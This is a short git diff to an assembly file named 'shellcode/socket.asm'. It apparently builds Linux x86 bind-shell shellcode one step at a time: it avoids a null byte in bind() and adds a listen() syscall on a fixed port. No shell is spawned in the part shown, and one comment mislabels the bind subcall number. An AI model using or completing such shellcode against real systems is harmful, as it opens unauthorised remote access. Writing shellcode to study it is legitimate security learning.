diff options
| -rw-r--r-- | shellcode/socket.asm | 11 |
1 files changed, 10 insertions, 1 deletions
diff --git a/shellcode/socket.asm b/shellcode/socket.asm index 6a58d75..fe26659 100644 --- a/shellcode/socket.asm +++ b/shellcode/socket.asm @@ -14,7 +14,8 @@ int 0x80 ; let the kernel do the stuff ; bind() mov edx,eax ; move socket descriptor (returned by socket()) to edx xor eax,eax ; zero out eax again -push 0x0 ; in_addr = 0 +; sockaddr_in +push eax ; in_addr = 0 push word 0x11AA ; push tcp port push word 0x2 ; sa_family -> AF_INET = 0x02 mov ecx,esp ; save stack pointer -> pointer to sockaddr struct @@ -26,6 +27,14 @@ mov ebx,0x02 ; set socket subcall to 0x03 (bind) mov al,0x66 ; socketcall syscall int 0x80 ; let the kernel do the stuff +; listen() +xor eax,eax ; zero out eax +push eax ; backlog +push edx ; sockfd +mov ecx,esp ; save stackptr +mov al,0x66 ; socketcall() +mov ebx,0x4 ; socketcall 0x4 -> listen() +int 0x80 ; kernel mode ; exit() mov al,0x1 ; exit syscall |